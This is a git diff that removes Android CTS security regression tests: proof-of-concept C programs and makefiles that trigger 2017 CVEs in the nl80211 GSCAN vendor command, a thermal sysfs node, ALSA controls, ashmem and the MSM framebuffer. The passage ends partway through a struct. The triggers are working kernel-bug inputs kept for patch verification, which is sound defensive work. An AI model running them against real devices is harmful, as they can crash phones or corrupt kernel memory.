-    /* remaining reserved for additional attributes */
-    GSCAN_ATTRIBUTE_HOTLIST_BSSIDS = 50,
-    GSCAN_ATTRIBUTE_RSSI_LOW,
-    GSCAN_ATTRIBUTE_RSSI_HIGH,
-    GSCAN_ATTRIBUTE_HOSTLIST_BSSID_ELEM,
-    GSCAN_ATTRIBUTE_HOTLIST_FLUSH,
-    /* remaining reserved for additional attributes */
-    GSCAN_ATTRIBUTE_RSSI_SAMPLE_SIZE = 60,
-    GSCAN_ATTRIBUTE_LOST_AP_SAMPLE_SIZE,
-    GSCAN_ATTRIBUTE_MIN_BREACHING,
-    GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS,
-    GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_FLUSH,
-    /* EPNO */
-    GSCAN_ATTRIBUTE_EPNO_SSID_LIST = 70,
-    GSCAN_ATTRIBUTE_EPNO_SSID,
-    GSCAN_ATTRIBUTE_EPNO_SSID_LEN,
-    GSCAN_ATTRIBUTE_EPNO_RSSI,
-    GSCAN_ATTRIBUTE_EPNO_FLAGS,
-    GSCAN_ATTRIBUTE_EPNO_AUTH,
-    GSCAN_ATTRIBUTE_EPNO_SSID_NUM,
-    GSCAN_ATTRIBUTE_EPNO_FLUSH,
-    /* Roam SSID Whitelist and BSSID pref */
-    GSCAN_ATTRIBUTE_WHITELIST_SSID = 80,
-    GSCAN_ATTRIBUTE_NUM_WL_SSID,
-    GSCAN_ATTRIBUTE_WL_SSID_LEN,
-    GSCAN_ATTRIBUTE_WL_SSID_FLUSH,
-    GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM,
-    GSCAN_ATTRIBUTE_NUM_BSSID,
-    GSCAN_ATTRIBUTE_BSSID_PREF_LIST,
-    GSCAN_ATTRIBUTE_BSSID_PREF_FLUSH,
-    GSCAN_ATTRIBUTE_BSSID_PREF,
-    GSCAN_ATTRIBUTE_RSSI_MODIFIER,
-    /* Roam cfg */
-    GSCAN_ATTRIBUTE_A_BAND_BOOST_THRESHOLD = 90,
-    GSCAN_ATTRIBUTE_A_BAND_PENALTY_THRESHOLD,
-    GSCAN_ATTRIBUTE_A_BAND_BOOST_FACTOR,
-    GSCAN_ATTRIBUTE_A_BAND_PENALTY_FACTOR,
-    GSCAN_ATTRIBUTE_A_BAND_MAX_BOOST,
-    GSCAN_ATTRIBUTE_LAZY_ROAM_HYSTERESIS,
-    GSCAN_ATTRIBUTE_ALERT_ROAM_RSSI_TRIGGER,
-    GSCAN_ATTRIBUTE_LAZY_ROAM_ENABLE,
-    /* BSSID blacklist */
-    GSCAN_ATTRIBUTE_BSSID_BLACKLIST_FLUSH = 100,
-    GSCAN_ATTRIBUTE_BLACKLIST_BSSID,
-    GSCAN_ATTRIBUTE_ANQPO_HS_LIST = 110,
-    GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE,
-    GSCAN_ATTRIBUTE_ANQPO_HS_NETWORK_ID,
-    GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM,
-    GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID,
-    GSCAN_ATTRIBUTE_ANQPO_HS_PLMN,
-    /* Adaptive scan attributes */
-    GSCAN_ATTRIBUTE_BUCKET_STEP_COUNT = 120,
-    GSCAN_ATTRIBUTE_BUCKET_MAX_PERIOD,
-    GSCAN_ATTRIBUTE_MAX
-};
-
-
-#define ETHER_ADDR_LEN 6
-struct  __attribute__ ((packed)) _ether_addr {
-    uint8_t octet[ETHER_ADDR_LEN];
-};
-
-static int l1;
-static int l2;
-static void test(struct nl_sock *socket, int d_id, int if_index)
-{
-    struct nl_msg *msg;
-    struct nl_cb *cb;
-    struct nl_msg *vendor_cmd, *nested_msg;
-    struct nlattr *nl_vendor_cmds, *nested, *nested2, *nested3;
-    int err, i, j = 0, k = 0,  ret;
-    struct _ether_addr mac;
-    memset(&mac, 0x41, sizeof(mac));
-
-    // Allocate the messages and callback handler.
-    for (j = l1; j < 1024; j++) {
-        for(k = l2; k < 128; k++) {
-            msg = nlmsg_alloc_size(16384);
-            if (!msg) {
-                exit(EXIT_FAILURE);
-            }
-
-            genlmsg_put(msg, 0, 0, d_id, 0, 0, NL80211_CMD_VENDOR, 0);
-            nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-            nla_put_u32(msg, NL80211_ATTR_WIPHY, 0);
-            nla_put_u64(msg, NL80211_ATTR_WDEV, 1);
-            nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-            nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG);
-
-            /* construct the vendor cmd */
-            nl_vendor_cmds = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-            nested = nla_nest_start(msg, GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS);
-            for (i = 0; i < j; i++) {
-                nested2 = nla_nest_start(msg, i);
-                nla_nest_end(msg, nested2);
-            }
-            for (i = 0; i < k; i++) {
-                nested2 = nla_nest_start(msg, i);
-                nla_put(msg, GSCAN_ATTRIBUTE_BSSID, sizeof(mac), &mac);
-                nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_LOW, 0x41);
-                nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_HIGH, 0x41);
-                nla_nest_end(msg, nested2);
-            }
-            nla_nest_end(msg, nested);
-            nla_nest_end(msg, nl_vendor_cmds);
-
-            nl_send_auto_complete(socket, msg);
-            nlmsg_free(msg);
-        }
-    }
-}
-
-int main(int argc, char **argv)
-{
-    int if_index = if_nametoindex("wlan0"); // Use this wireless interface for scanning.
-    l1 = 157;
-    l2 = 0;
-    // Open socket to kernel.
-    struct nl_sock *socket = nl_socket_alloc();  // Allocate new netlink socket in memory.
-    genl_connect(socket);  // Create file descriptor and bind socket.
-    int driver_id = genl_ctrl_resolve(socket, "nl80211");  // Find the nl80211 driver ID.
-
-    test(socket, driver_id, if_index);
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-6264/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-6264/Android.mk
deleted file mode 100644
index 33bdbbc..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-6264/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-6264
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-6264/poc.c b/hostsidetests/security/securityPatch/CVE-2017-6264/poc.c
deleted file mode 100644
index ba282ac..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-6264/poc.c
+++ /dev/null
@@ -1,47 +0,0 @@
-#define _GNU_SOURCE
-
-#include <string.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <linux/futex.h>
-#include <pthread.h>
-#include <sched.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <sys/stat.h>
-#include <sys/syscall.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...) \
-  printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-
-static int set_affinity(int num) {
-  int ret = 0;
-  cpu_set_t mask;
-  CPU_ZERO(&mask);
-  CPU_SET(num, &mask);
-  ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
-  return ret;
-}
-
-#define TARGET "/sys/devices/virtual/thermal/cooling_device2/cur_state"
-int main(int argc, char *argv[]) {
-  int i, ret, fd;
-  char buf[PAGE_SIZE] = "2147483647";
-
-  /* bind_cpu */
-  set_affinity(0);
-
-  fd = open(TARGET, O_RDWR);
-
-  ret = write(fd, buf, strlen(buf));
-  close(fd);
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
deleted file mode 100644
index ee76324..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-7369
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SRC_FILES := poc.c
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c b/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
deleted file mode 100644
index c18936c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
+++ /dev/null
@@ -1,236 +0,0 @@
-/**

- * Copyright (C) 2017 The Android Open Source Project

- *

- * Licensed under the Apache License, Version 2.0 (the "License");

- * you may not use this file except in compliance with the License.

- * You may obtain a copy of the License at

- *

- *      http://www.apache.org/licenses/LICENSE-2.0

- *

- * Unless required by applicable law or agreed to in writing, software

- * distributed under the License is distributed on an "AS IS" BASIS,

- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

- * See the License for the specific language governing permissions and

- * limitations under the License.

- */

-

-#define _GNU_SOURCE

-

-#include <string.h>

-#include <stdio.h>

-#include <stdlib.h>

-#include <sys/ioctl.h>

-#include <sys/ptrace.h>

-#include <errno.h>

-#include <sys/syscall.h>

-#include <sys/prctl.h>

-#include <stdint.h>

-#include <sys/stat.h>

-#include <sys/mman.h>

-#include <linux/fb.h>

-#include <dlfcn.h>

-#include <sys/socket.h>

-#include <fcntl.h>

-#include <signal.h>

-#include <unistd.h>

-#include <sound/asound.h>

-#include <sys/types.h>

-#include <sys/wait.h>

-

-#define MAXNUM 94

-#define MAXPCMOP 25

-#define MAXELE 16384

-

-char* CONTBL[MAXNUM]={

-    "comprC0D17",

-    "comprC0D18",

-    "comprC0D37",

-    "comprC0D38",

-    "comprC0D39",

-    "comprC0D40",

-    "comprC0D41",

-    "comprC0D42",

-    "comprC0D9",

-    "controlC0",

-    "hwC0D10",

-    "hwC0D1000",

-    "hwC0D11",

-    "hwC0D12",

-    "hwC0D13",

-    "hwC0D14",

-    "hwC0D15",

-    "hwC0D16",

-    "hwC0D2",

-    "hwC0D20",

-    "hwC0D21",

-    "hwC0D22",

-    "hwC0D24",

-    "hwC0D25",

-    "hwC0D26",

-    "hwC0D3",

-    "hwC0D30",

-    "hwC0D31",

-    "hwC0D35",

-    "hwC0D36",

-    "hwC0D37",

-    "hwC0D39",

-    "hwC0D40",

-    "hwC0D45",

-    "hwC0D7",

-    "hwC0D8",

-    "hwC0D9",

-    "pcmC0D0c",

-    "pcmC0D0p",

-    "pcmC0D10c",

-    "pcmC0D10p",

-    "pcmC0D11c",

-    "pcmC0D11p",

-    "pcmC0D12c",

-    "pcmC0D12p",

-    "pcmC0D13c",

-    "pcmC0D13p",

-    "pcmC0D14c",

-    "pcmC0D14p",

-    "pcmC0D15c",

-    "pcmC0D15p",

-    "pcmC0D16c",

-    "pcmC0D19c",

-    "pcmC0D19p",

-    "pcmC0D1c",

-    "pcmC0D1p",

-    "pcmC0D20c",

-    "pcmC0D20p",

-    "pcmC0D21p",

-    "pcmC0D22c",

-    "pcmC0D22p",

-    "pcmC0D23c",

-    "pcmC0D23p",

-    "pcmC0D24c",

-    "pcmC0D24p",

-    "pcmC0D25c",

-    "pcmC0D26p",

-    "pcmC0D27c",

-    "pcmC0D28c",

-    "pcmC0D29c",

-    "pcmC0D2c",

-    "pcmC0D2p",

-    "pcmC0D30c",

-    "pcmC0D31c",

-    "pcmC0D32c",

-    "pcmC0D33c",

-    "pcmC0D34c",

-    "pcmC0D35c",

-    "pcmC0D35p",

-    "pcmC0D36c",

-    "pcmC0D36p",

-    "pcmC0D3c",

-    "pcmC0D3p",

-    "pcmC0D43c",

-    "pcmC0D44c",

-    "pcmC0D44p",

-    "pcmC0D45c",

-    "pcmC0D45p",

-    "pcmC0D4p",

-    "pcmC0D5c",

-    "pcmC0D5p",

-    "pcmC0D6c",

-    "pcmC0D7p",

-    "pcmC0D8c"

-};

-

- char* OPPCM[MAXPCMOP]={

-    "/dev/snd/pcmC0D0p",

-    "/dev/snd/pcmC0D10p",

-    "/dev/snd/pcmC0D11p",

-    "/dev/snd/pcmC0D12p",

-    "/dev/snd/pcmC0D13p",

-    "/dev/snd/pcmC0D14p",

-    "/dev/snd/pcmC0D15p",

-    "/dev/snd/pcmC0D19p",

-    "/dev/snd/pcmC0D1p",

-    "/dev/snd/pcmC0D20p",

-    "/dev/snd/pcmC0D21p",

-    "/dev/snd/pcmC0D22p",

-    "/dev/snd/pcmC0D23p",

-    "/dev/snd/pcmC0D24p",

-    "/dev/snd/pcmC0D2p",

-    "/dev/snd/pcmC0D32p",

-    "/dev/snd/pcmC0D33p",

-    "/dev/snd/pcmC0D3p",

-    "/dev/snd/pcmC0D40p",

-    "/dev/snd/pcmC0D41p",

-    "/dev/snd/pcmC0D44p",

-    "/dev/snd/pcmC0D47p",

-    "/dev/snd/pcmC0D4p",

-    "/dev/snd/pcmC0D5p",

-    "/dev/snd/pcmC0D7p"

-};

-

-void poc(char* name)

-{

-    int fd, ret, cmd, index,pcmfd, i;

-    char dev[36]={0};

-    snprintf(dev, sizeof(dev),"/dev/snd/%s", name);

-    fd = open(dev, O_RDWR);

-    if (fd < 0) 

-    {

-        return;

-    }

-

-    cmd = SNDRV_CTL_IOCTL_CARD_INFO;

-    struct snd_ctl_card_info info;

-    ret = ioctl(fd, cmd, &info);

-

-    struct snd_ctl_elem_list lst;

-    struct snd_ctl_elem_value control;

-    memset(&lst, 0, sizeof(lst));

-    lst.pids = calloc(MAXELE, sizeof(struct snd_ctl_elem_list));

-    lst.space = MAXELE;

-    cmd = SNDRV_CTL_IOCTL_ELEM_LIST;

-    ret = ioctl(fd, cmd, &lst);

-    control.value.integer.value[0]=control.value.enumerated.item[0] = 0x80001111;

-

-    for(index=0;(unsigned int)index<lst.count;index++)

-    {

-        if(!strncmp((const char *)lst.pids[index].name,"SLIM_1_TX Channels",18)||

-           !strncmp((const char *)lst.pids[index].name,"SLIM_0_TX Channels",18)||

-           !strncmp((const char *)lst.pids[index].name,"SLIM_6_RX Channels",18)||

-           !strncmp((const char *)lst.pids[index].name,"SLIM_5_RX Channels",18)||

-           !strncmp((const char *)lst.pids[index].name,"SLIM_0_RX Channels",18)||

-           !strncmp((const char *)lst.pids[index].name,"Playback 24 Volume",18)||

-           !strncmp((const char *)lst.pids[index].name,"left Profile",12)||

-           !strncmp((const char *)lst.pids[index].name,"Playback Device Channel Map",27)||

-           !strncmp((const char *)lst.pids[index].name, "LSM",3)||

-           !strncmp((const char *)lst.pids[index].name,"MAD Input",9)||

-           !strncmp((const char *)lst.pids[index].name, "AUDIO_REF_EC_UL",15)||

-           !strncmp((const char *)lst.pids[index].name, "VOC_EXT_EC",10)) continue;

-

-        control.id.numid=lst.pids[index].numid;

-        ret = ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);

-    }

-    close(fd);

-}

-

-struct mystruct{

-    int a;

-    char* pp;

-};

-

-void freeptr(struct mystruct* p)

-{

-    unsigned char* n = (unsigned char *)p->pp;

-    n = NULL;

-    p->pp = NULL;

-    p = NULL;

-}

-

-int main()

-{

-    int i =0;

-    for(i = 0; i< MAXNUM; i++)

-    {

-        poc("controlC0");

-        break;

-    }

-    return 1;

-}

diff --git a/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk
deleted file mode 100644
index 6cf70f2..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project

-#

-# Licensed under the Apache License, Version 2.0 (the "License");

-# you may not use this file except in compliance with the License.

-# You may obtain a copy of the License at

-#

-#      http://www.apache.org/licenses/LICENSE-2.0

-#

-# Unless required by applicable law or agreed to in writing, software

-# distributed under the License is distributed on an "AS IS" BASIS,

-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

-# See the License for the specific language governing permissions and

-# limitations under the License.

-

-LOCAL_PATH := $(call my-dir)

-

-include $(CLEAR_VARS)

-LOCAL_MODULE := CVE-2017-8263

-LOCAL_SRC_FILES := poc.c

-LOCAL_MULTILIB := both

-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

-

-# Tag this module as a cts test artifact

-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests

-LOCAL_CTS_TEST_PACKAGE := android.security.cts

-

-LOCAL_ARM_MODE := arm

-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-CFLAGS += -Iinclude -fPIE

-LOCAL_LDFLAGS += -fPIE -pie

-LDFLAGS += -rdynamic

-include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/CVE-2017-8263/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-8263/local_poc.h
deleted file mode 100644
index a75782b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-8263/local_poc.h
+++ /dev/null
@@ -1,50 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef _LINUX_ASHMEM_H
-#define _LINUX_ASHMEM_H
-#include <linux/limits.h>
-#include <linux/ioctl.h>
-#define ASHMEM_NAME_LEN   256
-#define ASHMEM_NAME_DEF   "dev/ashmem"
- /* Return values from ASHMEM_PIN: Was the mapping purged while unpinned? */
-#define ASHMEM_NOT_PURGED 0
-#define ASHMEM_WAS_PURGED 1
- /* Return values from ASHMEM_GET_PIN_STATUS: Is the mapping pinned? */
-#define ASHMEM_IS_UNPINNED  0
-#define ASHMEM_IS_PINNED  1
-struct ashmem_pin {
-    __u32 offset; /* offset into region, in bytes, page-aligned */
-    __u32 len;  /* length forward from offset, in bytes, page-aligned */
-};
-#define __ASHMEMIOC   0x77
-#define ASHMEM_SET_NAME   _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN])
-#define ASHMEM_GET_NAME   _IOR(__ASHMEMIOC, 2, char[ASHMEM_NAME_LEN])
-#define ASHMEM_SET_SIZE   _IOW(__ASHMEMIOC, 3, size_t)
-#define ASHMEM_GET_SIZE   _IO(__ASHMEMIOC, 4)
-#define ASHMEM_SET_PROT_MASK  _IOW(__ASHMEMIOC, 5, unsigned long)
-#define ASHMEM_GET_PROT_MASK  _IO(__ASHMEMIOC, 6)
-#define ASHMEM_PIN    _IOW(__ASHMEMIOC, 7, struct ashmem_pin)
-#define ASHMEM_UNPIN    _IOW(__ASHMEMIOC, 8, struct ashmem_pin)
-#define ASHMEM_GET_PIN_STATUS _IO(__ASHMEMIOC, 9)
-#define ASHMEM_PURGE_ALL_CACHES _IO(__ASHMEMIOC, 10)
-#define ASHMEM_CACHE_FLUSH_RANGE  _IO(__ASHMEMIOC, 11)
-#define ASHMEM_CACHE_CLEAN_RANGE  _IO(__ASHMEMIOC, 12)
-#define ASHMEM_CACHE_INV_RANGE    _IO(__ASHMEMIOC, 13)
-int get_ashmem_file(int fd, struct file **filp, struct file **vm_file,
-                          unsigned long *len);
-void put_ashmem_file(struct file *file);
-#endif  /* _LINUX_ASHMEM_H */
diff --git a/hostsidetests/security/securityPatch/CVE-2017-8263/poc.c b/hostsidetests/security/securityPatch/CVE-2017-8263/poc.c
deleted file mode 100644
index 687bbc5..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-8263/poc.c
+++ /dev/null
@@ -1,51 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <fcntl.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <stdio.h>
-#include "local_poc.h"
-
-
-int main() {
-    int fd;
-    int ret;
-    uint64_t mmap_ret;
-
-    fd = open("/dev/ashmem", 0, 0);
-    if (fd < 0) {
-        return -1;
-    }
-
-    ret = ioctl(fd, ASHMEM_SET_SIZE, 0x1000);
-    if (ret < 0) {
-        return -1;
-    }
-
-    mmap_ret = (uint64_t) mmap((void *) 0x7f0000000 /*addr*/, 0x1000 /*length*/, 0x0 /*prot*/,
-            0x12 /*flags=MAP_FIXED|MAP_PRIVATE*/, fd, 0x0 /*offset*/);
-    if (mmap_ret == MAP_FAILED) {
-        return -1;
-    }
-
-    ret = ioctl(fd, ASHMEM_CACHE_FLUSH_RANGE, NULL);
-    if (ret < 0) {
-        return -1;
-    }
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk
deleted file mode 100644
index f4f2c57..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-9678
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9678/poc.c b/hostsidetests/security/securityPatch/CVE-2017-9678/poc.c
deleted file mode 100644
index beb7cc8..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-9678/poc.c
+++ /dev/null
@@ -1,131 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define GNU_SOURCE
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <string.h>
-
-#ifndef _IOC_NONE
-#define _IOC_NONE 0U
-#endif
-
-#ifndef _IOC_WRITE
-#define _IOC_WRITE 1U
-#endif
-
-#ifndef _IOC_READ
-#define _IOC_READ 2U
-#endif
-
-#define _IOC_NRBITS 8
-#define _IOC_TYPEBITS 8
-
-#ifndef _IOC_SIZEBITS
-#define _IOC_SIZEBITS 14
-#endif
-
-#ifndef _IOC_DIRBITS
-#define _IOC_DIRBITS 2
-#endif
-
-#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
-#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
-#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
-#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
-
-#define _IOC_NRSHIFT 0
-#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
-#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
-#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
-
-#define _IOC(dir, type, nr, size)                          \
-  (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
-   ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
-
-#ifndef __KERNEL__
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#endif
-
-#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
-#define _IOR(type, nr, size) \
-  _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOW(type, nr, size) \
-  _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOWR(type, nr, size) \
-  _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOR_BAD(type, nr, size) _IOC(_IOC_READ, (type), (nr), sizeof(size))
-#define _IOW_BAD(type, nr, size) _IOC(_IOC_WRITE, (type), (nr), sizeof(size))
-#define _IOWR_BAD(type, nr, size) \
-  _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), sizeof(size))
-
-#define MDP_IOCTL_MAGIC 'S'
-/* atomic commit ioctl used for validate and commit request */
-#define MSMFB_ATOMIC_COMMIT _IOWR(MDP_IOCTL_MAGIC, 128, void *)
-
-struct mdp_rect {
-  uint32_t x;
